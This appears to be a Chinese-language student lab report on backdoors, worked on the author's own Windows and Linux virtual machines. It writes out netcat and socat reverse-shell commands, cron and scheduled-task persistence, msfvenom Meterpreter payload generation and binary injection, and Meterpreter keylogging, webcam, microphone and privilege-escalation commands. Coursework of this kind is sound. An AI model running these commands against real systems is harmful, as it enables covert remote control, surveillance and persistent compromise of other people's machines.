Exp2 后门原理与实践
序言
这次实验需要我们掌握后门的基础知识,学习使用nc
实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom
指令生成简单的后门程序,学会MSF POST模块的应用。
后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用后门工具
NC或Netcat
这是一个底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用
man nc
命令可以查看使用帮助。在Windows系统中,需要下载ncat.rar,解压后可使用。
SoCat
这是Netcat++,一个超级Netcat工具。
在Windows下可以下载SoCat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
Meterpreter
这是一个程序——用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter程序有
- intersect
- Metaspolit的
msfvenom
指令- Veil-evasion
本次实验我们使用msfvenom
指令生成后门可执行文件Meterpreter。
一、实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验过程
2.1 使用netcat获取主机操作Shell,cron启动
2.1.1 在Windows获得Linux Shell
首先,在Windows下打开cmd,使用ipconfig
命令查看本机ip地址
可以看到ip地址是172.20.10.3
,随后在Linux下ping
它发现能ping
通
接下来在Windows端打开监听
ncat.exe -l -p 1312
在Linux反弹连接Windows
nc 172.20.10.3 1312 -e /bin/sh
Windows端就会获得一个Linux Shell,可以运行指令
2.1.2 在Linux获得Windows Shell
首先在Linux下使用ifconfig
命令查看本机ip地址
可以看到Linux的ip地址是192.168.171.130
在Linux端运行监听指令
nc -l -p 1312
在Windows端反弹连接Linux
ncat.exe -e cmd.exe 192.168.171.130 1312
此时在Linux下可以看到Windows的命令提示,可以输入命令
2.1.3 在Linux下启动cron并在Windows下监听
首先,使用crontab
指令增加一条定时任务,-e
表示edit
由于是第一次编辑,所以会提示选择编辑器,这里我选择vim.basic编辑器,然后在打开的文件中最后添加了一行
43 * * * * /bin/netcat 172.20.10.3 1312 -e /bin/sh
这一行命令表示在每小时的第43分钟执行后面那一条指令。
可以使用crontab -l
命令来查看,-l
表示list
此时时间是11:39,只需要静静等待到43分的时候在ip地址为192.168.1.105的主机端打开监听即可,这里使用的是Windows
ncat.exe -l -p 1312
到了11:43,获得了一个Shell,输入一些简单命令发现成功了
也可以开一个非反弹式后门,在cron中写入nc -l -p 1312 -e /bin/sh
,这是攻击机能随时通过nc 主机ip 1312
连接这个主机并获得一个Shell。
2.2 使用socat获取主机操作Shell,任务计划启动
2.2.1 在Windows获得Linux Shell
首先用man socat
查看使用说明
在Windows端建立监听
socat.exe -d -d tcp4-listen:1312 stdout
在Linux端反弹连接
socat tcp4:172.20.10.3:1312 exec:/bin/bash
这时在Windows端可以获得一个Linux的shell
2.2.2 在Linux获得Windows Shell
在Linux端建立监听
socat -d -d tcp4-listen:1312 stdout
在Windows端反弹连接
socat.exe tcp4:192.168.171.130:1312 exec:cmd.exe
发现Linux端并未出现Windows的shell,且在cmd的窗口里出现了报错Connection timed out
于是我用Windows去ping
了Linux,发现确实无法连通,但是反过来却连得通。
尝试多种方法无果后,我不得不做最后的尝试:把网络从NAT模式改为桥接模式。(方法附在参考资料里)
终于能成功连接了!
但是重新输入,返现报出了新的错误。
查阅资料发现是在Windows端少输了两个用逗号隔开的参数。
重新在Linux端建立监听
socat -d -d tcp4-listen:1312 stdout
在Windows端反弹连接
socat.exe tcp4:172.20.10.4:1312 exec:cmd.exe,pty,stderr
发现Linux端弹出了Windows的shell
输入简单命令,成功。
2.2.3 Windows下任务计划启动
在计算机左下角的开始菜单右键->计算机管理->任务计划程序->创建任务
在名称中随便填了个exp2.2
在触发器中选择在工作站锁定时开始任务
在操作中选择新建,将socat.exe
的路径添加进去,参数为tcp-listen:1312 exec:cmd.exe,pty,stderr
,然后依次点击确定即可。
随后锁定计算机,并再次打开,在任务计划程序中点击显示所有正在运行的任务
可以发现之前创建的任务已经开始运行了。
并且自动出现了如下界面
这时,回到Linux上输入
socat - tcp:172.20.10.3:1312
可以看到出现了Windows的shell
成功!
2.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
2.3.1 在Linux下生成hello_backdoor.exe并复制到Windows下
首先,我在Windows下随便编写了一段代码,编译生成了一个hello.exe文件,将其copy至Linux下。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=1312 -f exe > hello_backdoor.exe
msfvenom
有一些参数,分别是:
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP,在这里是要反弹给linux,也就是linux的IP地址
- LPORT 是回连的端口
- -f 生成文件的类型
- > 输出到哪个文件
随后,我使用cp
命令将其copy至Windows和Linux之间的共享文件夹,当然在这之前需要把杀毒软件和Windows Defender关闭,因为没有免杀的后门软件会立刻被上述软件删除。
2.3.2 MSF打开监听进程
启动MSF控制台
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 172.20.10.4
set LPORT 1312
exploit
这里LHOST需要和之前生成hello_backdoor.exe的一致,这里就是172.20.10.4,LPORT也是如此,即1312,payload也是如此,即windows/meterpreter/reverse_tcp。上图显示我一开始未设置端口,它使用了默认的4444端口。
2.3.3 在Windows平台运行hello_backdoor.exe
可以看到在msf控制台上显示出监听进程获得了Windows的主动连接
这个时候输入一些Windows的shell命令,可以发现linux控制了Windows的shell
2.2.4 利用socat将hello_backdoor.exe传送到主机
首先在linux端开启传输
socat tcp4-listen:4444,fork file:hello_backdoor.exe
fork创建子进程,可以建立多个连接,也就不大会断开连接
然后再Windows端接收文件
.socat.exe tcp4:172.20.10.4:4444 file:hello_backdoor.exe,create
create用于生成文件,生成文件及传输方向两边都行,这里的IP地址是linux端的地址
可以看到文件被成功接收,文件大小也是正确的。
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
首先,继续像2.3.3中那样运行hello_backdoor.exe,并在linux机上开启监听。
2.4.1 获取目标主机屏幕截图
screenshot
可以去路径下打开文件查看,可以发现确实是当前的截图
2.4.2 获取目标主机音频
record_mic
格式为wav的音频文件也被存在了相同路径下
2.4.3 获取目标主机摄像头
webcam_list 获取可用摄像头列表
webcam_snap 使用指定的摄像头拍照
由于环境本身是黑暗的,所以照片拍出来也是黑的
2.4.4 获取目标主机击键记录
keyscan_start
keyscan_dump
可以看到我在powershell中输入了三个命令,它一一记录下了我在键盘上的操作。
2.4.5 尝试提权
getsystem 试图提升你在当前系统下的权限
提权失败
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=1312 -x ./pwn1 -f elf > pwn1_exp2
下面我来做一下这条指令的说明
msfvenom --list payload
通过这条命令,我查到了可以使用linux/x86/meterpreter/reverse_tcp
替换之前的windows/meterpreter/reverse_tcp
,因为面向的是x86架构的Ubuntu。
只要将pwn1文件置入原先的命令,并查阅好另一台linux机器的IP地址,作为替换即可。
将得到的文件置入Ubuntu下
在本来的kali机开启监听,Ubuntu下运行pwn1_exp2